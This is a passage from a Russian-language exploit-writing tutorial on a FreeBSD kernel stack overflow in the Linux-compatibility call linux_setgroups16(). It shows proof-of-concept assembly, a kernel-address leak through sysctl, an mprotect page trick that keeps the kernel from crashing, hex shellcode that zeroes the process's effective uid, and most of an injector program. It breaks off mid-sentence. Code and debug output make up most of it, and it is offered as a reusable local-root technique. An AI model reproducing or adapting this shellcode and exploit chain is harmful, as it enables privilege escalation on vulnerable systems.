~ FreeBSD kernel b0f exploiting ~

  c0ntents:

  0x1  intr0
  0x2  bug description
  0x3  concept
  0x4  counting kernel-land addrz
  0x5  struct thread's problem
  0x6  clipcode
  0x7  exploiting
  0x8  other fbsd versions?

  [0x1]  intr0 ===========================================================

    В этой  статье мы расскажем о том,  как эксплойтнуть  b0f-багу в  ядре
   freebsd. Надеемся многим эта дока окажется полезной, к тому же технику,
   описанную здесь, можно будет применять в различных других переполнениях
   самого разнообразного вареза. На самом деле дыра не особо полезна, т.к.
   по дефолту поддержка линуховых файлов отключена, да и во всех последних
   ядрах её уже пофиксили (advisory  вышла примерно  в июле).  Поэтому  мы
   решили написать про то как её эксплойтить. Итак, приступим...


  [0x2]  bug description =================================================

    Об этой баге сообщалось в fd каким-то пидором,  но никаких  упоминаний
   больше не последовало.  И вот мы решили посмотреть что же там такое.  В
   итоге родился сплоит, а спустя некоторое время - и статья.

    Суть баги: в freebsd существует поддержка выполнения линуховых файлов,
   дык вот, чувак из fd в своём постинге заявил что этот модуль (linux.ko,
   его исходники  лежат в  sys/compat/linux/*)  имеет  дырки,  при  помощи
   которых  хакир может  читать и перезаписывать  куски памяти в ядре.  Ни
   слова о том, в каких функциях существует данный глюк, сказанно не было,
   поэтому мы около 20 минут потратили на поиск.  Уязвимы оказались вызовы
   linux_setgroups()    из    linux_misc.c   и    linux_setgroups16()   из
   linux_uid16.c.  В  данной  статье  мы рассмотрим самый  сложный вариант
   эксплойтинга  -  к последней  баге. Вот её код:


  int
  linux_setgroups16(struct thread *td, struct linux_setgroups16_args *args)
  {
        struct ucred *newcred, *oldcred;
        l_gid16_t linux_gidset[NGROUPS];  [1]
        gid_t *bsd_gidset;
        int ngrp, error;
        struct proc *p;

   ...

        ngrp = args->gidsetsize;  [2]

        if (ngrp >= NGROUPS)  [3]
                return (EINVAL);

   error = copyin((caddr_t)args->gidset, linux_gidset,  [4]
            ngrp * sizeof(l_gid16_t));
        if (error)            [5]
                  return (error);


    Смотрим, что же у нас тут:

    1. NGROUPS == 16, следовательно тут буфер равен  2*16  =  32 байта.  В
   linux_setgroups() он в 2 раза больше, а это не интересно (позднее будет
   сказанно почему).

    2. В ngrp ака обычный int кладётся значение 1-го аргумента функции.

    3. Далее следует проверка  на то,  чтобы ngrp был меньше максимального
   числа груп (16).  Если  мы передадим  в  args->gidsetsize отрицательное
   32-х битное число, то проверка пройдёт успешно,и мы сможем перезаписать
   буфер linux_gidset и далее часть стека.  Т.к. под знак отводится 1 бит,
   то минимальным отрицательным числом будет 0x80000000.

    4. Происходит  копирование в буфер  linux_gidset  из  userland-адреса,
   который  мы  передаём как 2-й  аргумент.  Обратите  внимание  на размер
   копируемой инфы: ngrp * sizeof(l_gid16_t). Вот небольшой пример:

  #include <stdio.h>

  int main()
  {
    int i;

    i = 0x80000001 * 2;
    printf("0x%x\n", i);
    return 0;
  }

    $ gcc -o int int.c
    $ ./int
    0x2
    $ echo thats it

   И что мы получаем??  При умножении на  2 данного  числа, оно выходит за
   рамки предельного вместимого значения 32-х битного числа, и т.к. 2*8=16
   в итоге получается такая байда: 0x80000001 * 2 = 0x100000002.  Вот  это
   нам и надо!!                                        ^^^^^^^^
   Мы можем перезаписать ровно столько байт (разумеется чётное количество)
   сколько нам потребуется.

    5. если при копировании произошла ошибка, то происходит возвращение из
   данной функции обратно в syscall() (sys/i386/i386/trap.c).


  [0x3]  concept =========================================================

    Прежде всего, нам нужно изучить стек. Для этого мы пропатчим исходники
   модуля linux.ko и отлаживать будем именно на нём. Вот что получилось:

  int
  linux_setgroups16(struct thread *td, struct linux_setgroups16_args *args)
  {
        struct ucred *newcred, *oldcred;
        l_gid16_t linux_gidset[NGROUPS];
        gid_t *bsd_gidset;
        int ngrp, error;
        struct proc *p;

   printf("stack pointer: 0x%x\n", &linux_gidset);

   printf("Stack dump: %x %x %x %x %x %x\nlinux_gidset: %x %x %x %x %x %x %x %x\n"
     "%x %x %x %x %x %x\n");

        ngrp = args->gidsetsize;

        if (ngrp >= NGROUPS)
                  return (EINVAL);

   printf("[+] do evil copy\n");
   error = copyin((caddr_t)args->gidset, linux_gidset,
              ngrp * sizeof(l_gid16_t));

   /* look @ stack after overwrite */
   printf("Stack dump: %x %x %x %x %x %x\nlinux_gidset: %x %x %x %x %x %x %x %x\n"
     "%x %x %x %x %x %x\n");

        if (error){
    printf("[+] h0oly sh1t, it works!\n");
                return (error);
   }

   ...


   Теперь потестим:

   # pwd
   /usr/src/sys/compat/linux
   # cd ../../modules/linux
   # make
   bla-bla-bla
   # kldload ./linux.ko
   # cd ../../compat/linux

   Для тестинга понадобится простая прога, вызывающая sys_setgroups16:

   # cat old_p0c.s
   .globl _start
   _start:

     push $81
     popl %eax
     movl $dat, %ecx
     movl $0x80000010, %ebx # overwrite only 32 bytes
     int $128

     xorl %eax, %eax
     incl %eax
     int $128

   dat:
   .ascii "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" # 32 bytes buffer
   .long 0xdefaced

   # as -o p.o old_p0c.s; ld -o old_p0c p.o
   # brandelf -t Linux ./old_p0c
   # ./old_p0c

     /* this is kernel's printf() on /dev/vtty1 */
 Stack dump: c02f7740 c05038a0 0 c04b6e1d 237 c17d0460
 linux_gidset: c17d0460 c198e0a0 c1ab91c8 c8c99ce0 c0306b52 c17d0460 c8c99ce0 c02d1890
 c17d0460 c1ab91c8 0 c8c99d40 c045ce9e c17d0460
 [+] do evil copy
 Stack dump: c02f7740 c05038a0 0 c04b6e1d 273 c17d0460
 linux_gidset: 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161
 c17d0460 c1ab91c8 0 c8c99d40 c045ce9e c17d0460

   #

   Итак, мы перезаписали linux_gidset(). После него идут:

   struct thread *td == 0xc17d0460
   struct proc *p    == 0xc1ab91c8
   0  - separator
   saved %ebp        == 0xc8c99d40
   saved %eip        == 0xc045ce9e
   struct thread *td == 0xc17d0460

   Эти адреса можно узнать например так:

  printf("thread struct addr: 0x%x\n", td);

   Но это мелочи, поэтому мы не акцентируем на этом внимание.  Далее, было
   установленно  что при  перезаписи  любого из адресов до eip  порисходит
   падение ядра, поэтому появилась такая идея:

  - высчитать адреса структур thread, proc и %ebp в памяти ядра.

  - при перезаписи заполнить linux_gidset нужным нам clipcode'ом, далее до
   eip вставляем правильыне занчения.

  - в eip указываем адрес linux_gidset() где лежит наш код, он должен дать
   нам рута и вернуться обратно как будто ничего не было.



  [0x4]  counting kernel-land addrz ======================================

    Что же нам нужно? Сперва узнаем как из userlandа вытащить хоть  какую-
   нибудь инфу о процессе, которая может нам пригодиться.  Как вам, должно
   быть, известно, непривилигированные  процессы получают  инфу  о  других
   активных  задачах  через sysctl().  Интерфейс  там  весьма  прост,  вот
   пример:

  int main()
  {
    int i, sz, pid, mib[4];
    struct kinfo_proc p;
  
    mib[0] = 1;  // CT_KERN
    mib[1] = 14; // KERN_PROC
    mib[2] = 1;  // KERN_PROC_PID
  
    pid = fork();

    if (pid == 0){ /* child */
      sleep(1);
      return 1;
    }

    mib[3] = pid; // PROC_PID

    sz = sizeof(struct kinfo_proc);

    if (sysctl(&mib, 4, &p, &sz, 0, 0) < 0){
       perror("sysctl");
       return -1;
    }

    return 1;
  }


   Эта прога  получает  стркутуру kinfo_proc  своего  дочернего  процесса,
   посмотрим что же там такое (sys/user.h):

  struct kinfo_proc {
        int     ki_structsize;          /* size of this structure */
        int     ki_layout;              /* reserved: layout identifier */
        struct  pargs *ki_args;         /* address of command arguments */
        struct  proc *ki_paddr;         /* address of proc */
        struct  user *ki_addr;          /* kernel virtual addr of u-area */
        struct  vnode *ki_tracep;       /* pointer to trace file */
        struct  vnode *ki_textvp;       /* pointer to executable file */
        struct  filedesc *ki_fd;        /* pointer to open file info */
        struct  vmspace *ki_vmspace;    /* pointer to kernel vmspace struct */
        void    *ki_wchan;              /* sleep address */
        pid_t   ki_pid;                 /* Process identifier */
          pid_t ki_ppid;                /* parent process id */
        pid_t   ki_pgid;                /* process group id */
        pid_t   ki_tpgid;               /* tty process group id */
        pid_t   ki_sid;                 /* Process session ID */
        pid_t   ki_tsid;                /* Terminal session ID */
        short   ki_jobc;                /* job control counter */
        udev_t  ki_tdev;                /* controlling tty dev */
        sigset_t ki_siglist;            /* Signals arrived but not delivered */
        sigset_t ki_sigmask;            /* Current signal mask */
        sigset_t ki_sigignore;          /* Signals being ignored */
        sigset_t ki_sigcatch;           /* Signals being caught by user */
        uid_t   ki_uid;                 /* effective user id */
        uid_t   ki_ruid;                /* Real user id */
        uid_t   ki_svuid;               /* Saved effective user id */
        gid_t   ki_rgid;                /* Real group id */
        gid_t   ki_svgid;               /* Saved effective group id */
        short   ki_ngroups;             /* number of groups */
        gid_t   ki_groups[KI_NGROUPS];  /* groups */
        vm_size_t ki_size;              /* virtual size */
        segsz_t ki_rssize;              /* current resident set size in pages */
        segsz_t ki_swrss;               /* resident set size before last swap */
        segsz_t ki_tsize;               /* text size (pages) XXX */
        segsz_t ki_dsize;               /* data size (pages) XXX */
        segsz_t ki_ssize;               /* stack size (pages) */
        u_short ki_xstat;               /* Exit status for wait & stop signal */
        u_short ki_acflag;              /* Accounting flags */
        fixpt_t ki_pctcpu;              /* %cpu for process during ki_swtime */
        u_int   ki_estcpu;              /* Time averaged value of ki_cpticks */
        u_int   ki_slptime;             /* Time since last blocked */
        u_int   ki_swtime;              /* Time swapped in or out */
        u_int64_t ki_runtime;           /* Real time in microsec */
        struct  timeval ki_start;       /* starting time */
        struct  timeval ki_childtime;   /* time used by process children */
        long    ki_flag;                /* P_* flags */
        long    ki_kiflag;              /* KI_* flags (below) */
        int     ki_traceflag;           /* Kernel trace points */
        char    ki_stat;                /* S* process status */
        char    ki_nice;                /* Process "nice" value */
        char    ki_lock;                /* Process lock (prevent swap) count */
        char    ki_rqindex;             /* Run queue index */
        u_char  ki_oncpu;               /* Which cpu we are on */
        u_char  ki_lastcpu;             /* Last cpu we were on */
        char    ki_ocomm[OCOMMLEN+1];   /* command name */
        char    ki_wmesg[WMESGLEN+1];   /* wchan message */
        char    ki_login[LOGNAMELEN+1]; /* setlogin name */
        char    ki_lockname[LOCKNAMELEN+1]; /* lock name */
        char    ki_comm[COMMLEN+1];     /* command name */
        char    ki_sparestrings[85];    /* spare string space */
        struct  rusage ki_rusage;       /* process rusage statistics */
        long    ki_sflag;               /* PS_* flags */
        struct  priority ki_pri;        /* process priority */
        long    ki_tdflags;             /* XXXKSE kthread flag */
        struct  pcb *ki_pcb;            /* kernel virtual addr of pcb */
        void    *ki_kstack;             /* kernel virtual addr of stack */
        long    ki_spare[22];           /* spare constants */
  };


  Стоп! ki_paddr, ki_kstack - похоже это как раз то, что нужно. Посмотрим:

  /* tst_proc.c */

  #include <stdio.h>
  #include <fcntl.h>
  #include <sys/stat.h>
  #include <sys/param.h>
  #include <sys/types.h>
  #include <sys/sysctl.h>
  #include <sys/user.h>

  int main()
  {
    int i, sz, pid, mib[4];
    struct kinfo_proc p;
  
    mib[0] = 1;  // CT_KERN
    mib[1] = 14; // KERN_PROC
    mib[2] = 1;  // KERN_PROC_PID
  
    pid = fork();

    if (pid == 0){ /* child */
      sleep(1);
      execl("./old_p0c", "old_p0c", 0);
      return 1;
    }

    mib[3] = pid;
    sz = sizeof(struct kinfo_proc);

    if (sysctl(&mib, 4, &p, &sz, 0, 0) < 0){
       perror("sysctl");
       return -1;
    }

    sz = p.ki_paddr;
    printf("ki_vaddr: 0x%x\n", sz);

    sz = p.ki_kstack;
    printf("kstack:  0x%x\n", sz);

    return 1;
  }

   И ещё небольшой патч для linux_uid16.c:

  int
  linux_setgroups16(struct thread *td, struct linux_setgroups16_args *args)
  {
        struct ucred *newcred, *oldcred;
        l_gid16_t linux_gidset[NGROUPS];
        gid_t *bsd_gidset;
        int ngrp, error;
        struct proc *p;

   printf("stack pointer: 0x%x\n", &linux_gidset);
        ngrp = args->gidsetsize;
   ...


    # gcc -o tst_proc tst_proc.c
    # ./tst_proc

    ki_vaddr: 0xc1ab9000
    kstack:  0xc8c9b000
    #

  stack pointer: 0xc8c9ccb4
  Stack dump: c8c9ccb4 c19a4800 c19a4802 7 0 c17d0540
  linux_gidset: c1ab9000 c8c9cce0 c0306b52 c17d0540 c8c9cce0 c02d1890 c17d0540 c198e140
  c17d0460 c1ab9000 0 c8c9cd40 c045ce9e c17d0460
     ^^^ proc addr      ^^^^ saved %ebp
    #

   Так, что мы имеем: сохранённый ebp = c8c9cd40, а в структуре kinfo_proc
   указатель на kernel-land стек равен 0xc8c9b000, тоесть разница: 0x1d40.
   Погоняв  tst_proc  несоколько  раз  мы  убедились,  что  данный  способ
   вычисления занчения ebp работает отлично.


   Стоит отметить,  что адрес  структуры  proc для данного  процесса равен
   значению ki_paddr из структуры kinfo_proc, так что его, к счастью,  нам
   не придётся просчитывать отдельно.


   Последним шагом будет вычисление адрecа linux_gidset,  где будет лежать
   наш clipcode, чтобы перезаписать им eip. Благодаря  патчу linux.ko,  мы
   можем увидеть его:

  printf("stack pointer: 0x%x\n", &linux_gidset);

   В данном случае он равен 0xc8c9ccb4. Очень близко к старому ebp, не так
   ли? Попробуем найти разницу между saved_ebp и stack_pointer и с помощью
   неё находить адрес linux_gidset'a. Вот какой получается код:

  sz = p.ki_paddr;
  printf("ki_vaddr: 0x%x\n", sz);

  sz = p.ki_kstack;
  sz += 0x1d40;
  printf("kstack:  0x%x\n", sz);

  i = sz;
  i -= 0x8c;
  printf("stack pointer: 0x%x\n", i);

   Потестив, мы вновь убедились в том, что с таким вот образом можем найти
   адрес linux_gidset'а в стеке. Теперь инфы вполне достаточно чтобы можно
   было  бы прыгнуть  в наш  clipcode,  так  что  пора  бы подумать  о его
   написании.


  [0x5]  struct thread's problem =========================================

    Кстати,  мы совсем  забыли про  адрес  структуры  thread  для  данного
   процесса.  К  сожалению,  мы не нашли способов его вычисления исходя из
   доступной простому юзеру информации. Отсюда возникают 2 проблемы:

  - наш clipcode после того как обнулит effective uid,  должен вернуть  на
   место адрес  структуры thread и прыгнуть  обратно.  Иначе ядро упадёт с
   PAGE FAULT.

   Посмотрим на старые дампы linux.ko:

 Stack dump: c02f7740 c05038a0 0 c04b6e1d 273 c17d0460
 linux_gidset: c1ab91c8 c8c99ce0 c0306b52 c17d0460 c8c99ce0 c02d1890 c17d0460 c198e0a0
 c17d0460 c1ab91c8 0 c8c99d40 c045ce9e c17d0460
   ^^^^^ ======= struct thread *td ====== ^^^^^

   Как нетрудно заметить,  нужный нам адрес лежит ещё и после eip,  откуда
   нам не составит труда его узнать с помощью clipcode'a.

  - и ещё одна проблема: т.к. до прыжка в clipcode нам приходится затереть
   значение td, ядро может рухнуть раньше чем наш clipcode скажет marlboro
   и восстановит поломаный стек:

  ...
  error = copyin((caddr_t)args->gidset, linux_gidset,
             ngrp * sizeof(l_gid16_t));
        if (error)         [1]
                return (error);

        newcred = crget();
         p = td->td_proc;   [2]
        PROC_LOCK(p);
         oldcred = p->p_ucred;
  ...


   Т.к. мы затёрли значение указателя td,  при присвоении адреса [2] может
   произойти хуйня и мы словим PAGE_FAULT.  Чтобы  этого не  произошло, мы
   воспользуемся техникой  совмещения  страниц памяти и  mprotect (об этом
   писали в phrack-57-0x06).


   Идея состоит в том,  чтобы разместить 2 страницы памяти последовательно
   и выствить на первую режим доступа PROT_READ | PROT_WRITE, а  на вторую
   только PROT_WRITE:

      [ page1    clipcode][page2     some shit]
   modez:     rw-                 -w-

   Нужный  нам кусок  памяти  находится  в самом конце первой  страницы  и
   упирается во вторую.  Когда copyin() начнёт копировать  данную область,
   он доберётся до конца первой страницы и  когда увидит что режим доступа
   для следующей страницы - PROT_WRITE, тоесть читать её нельзя, он вернёт
   ошибку и проверка [1] сработает  как  надо,  мы попадём в clipcode  без
   галимых падений кернела.


  [0x6]  clipcode ========================================================

     Итак, нам нужно написать илитный clipcode, который бы обнулял текущий
   euid,  возвращал  thread  struct's addr на  место и  прыгал  обратно  в
   syscall().  Более того, под это нам  отводится всего  32 байта  (теперь
   надеюсь понятно  почему эксплойтить  linux_setgroups16()  сложнее,  чем
   простую linux_setgroups()??).


   Обнулить свой  euid не так  сложно как кажется:  мы можем  узнать адрес
   структуры proc из  kinfo_proc->ki_paddr.  Далее,  из неё мы вытаскиваем
   указатель на структуру ucred (sys/proc.h):


  struct proc {
        LIST_ENTRY(proc) p_list;        /* (d) List of all processes. */
        TAILQ_HEAD(, ksegrp) p_ksegrps; /* (kg_ksegrp) All KSEGs. */
        TAILQ_HEAD(, thread) p_threads; /* (td_plist) Threads. (shortcut) */
        TAILQ_HEAD(, thread) p_suspended; /* (td_runq) suspended threads */
        struct ucred    *p_ucred;       /* (c) Process owner's identity. */
               /* ^^^^  that's it!! */
  ...


   Не так сложно вычислить смещение до указателя p_ucred,  оно равно 0x20.
   Отлично, теперь смотрим sys/ucred.h:


  struct ucred {
        u_int   cr_ref;                 /* reference count */
  #define       cr_startcopy cr_uid
        uid_t   cr_uid;                 /* effective user id */
        uid_t   cr_ruid;                /* real user id */
        uid_t   cr_svuid;               /* saved user id */
        short   cr_ngroups;             /* number of groups */
        gid_t   cr_groups[NGROUPS];     /* groups */
        gid_t   cr_rgid;                /* real group id */
        gid_t   cr_svgid;               /* saved user id */
        struct uidinfo  *cr_uidinfo;    /* per euid resource consumption */
        struct uidinfo  *cr_ruidinfo;   /* per ruid resource consumption */
        struct prison   *cr_prison;     /* jail(4) */
  #define       cr_endcopy      cr_label
        struct label    cr_label;       /* MAC label */
        struct mtx      *cr_mtxp;       /* protect refcount */
  };


   Тут вообще всё замечательно,  смещение до  cr_uid (aka euid) - 4 байта.
   Вот теперь мы можем написать полноценный clipcode:

  .globl _start
  start:

  cdq
  movl $0xdefaced, %ebx   # proc addr
  movl 0x20(%ebx), %ecx   # get ucred addr
  movl %edx, 4(%ecx)      # zer0uid

  movl 52(%esp), %ecx     # return thread struct's
  movl %ecx, 32(%esp)     #   addr back

  movl $0xdefaced, 48(%esp)  # return old eip

  movl %ebp, %esp   # turn stack back
  popl %ebp         # return ebp
  ret               # jump da fuckup

   На моей fbsd 5.0-release  old_eip равен 0xc045ce9e,  но при желании его
   можно  вытащить   с  помощью  дизасма  /boot/kernel/kernel  из  функции
   syscall() [lo0k раздел 0x8].

   Смотрим, что же в итоге получилось:

 char evil[] =      // x86 black magic hellc0de

 "\x99\xbb\x0d\xef\xac\xed\x8b\x4b\x20\x89"   // 10
 "\x51\x04\x8b\x4c\x24\x34\x89\x4c\x24\x20"   // 20
 "\xc7\x44\x24\x30\x0d\xef\xac\xed\x89\xec"   // 30
 "\x5d\xc3";  // 32

   Хехе, отлично!! Мы как раз уложились в 32 байта, it's REAL magic!!


  [0x7]  exploiting ======================================================

    Ну теперь нам осталось только  собрать всё воедино.  В первую  очередь
   напишем линуховый бинарник, который и будет эксплойтить дыру:

  #  tUx_injector.s

  .globl _start
  _start:

  # mprotect()
    push $125
    popl %eax
    movl $dat, %ebx
    push $0xff
    popl %ecx
    push $0x02  # PROT_WRITE
    popl %edx
    int $128

  # open()
    push $5
    popl %eax
    movl $file, %ebx
    xorl %ecx, %ecx
    int $128

    cdq
    decw %dx
    cmpl %eax, %edx
    je end

    movl %eax, %ebx

  # read()
    movl $dat, %ecx
    subl $52, %ecx   # $dat - sizeof(clipcode)
    movl $52, %edx
    push $3
    popl %eax
    int $128

    movl $dat, %ecx
    subl $52, %ecx
    push $81
    popl %eax
    movl $0x8000007e, %ebx
    int $128

  end:
    xorl %eax, %eax
    incl %eax
    int $128

  file:
  .asciz "kern.l0g"

  offs:
  .long 0

  .data
  padding:
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

  # do page padding, so dat now is the next page
  #  (cuz x86 page size == 4096 bytes)

  dat:
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"


   Тут вся фишка в том, что dat ложится как раз на начало второй страницы,
   что есть очень удобно. Как подогнать такой размер??  Вручную,  при этом
   стоит проверять текущий адрес dat'a:

    # objdump -d ./p0c | grep -a "dat>:"
    0804a000 <dat>:
    #

   Хорошо,  если  $dat кратен  0x1000, значит это адрес  начала  следующей
   страницы,  тоесть с mprotect()  всё будет ок.  На самом деле оказалось,
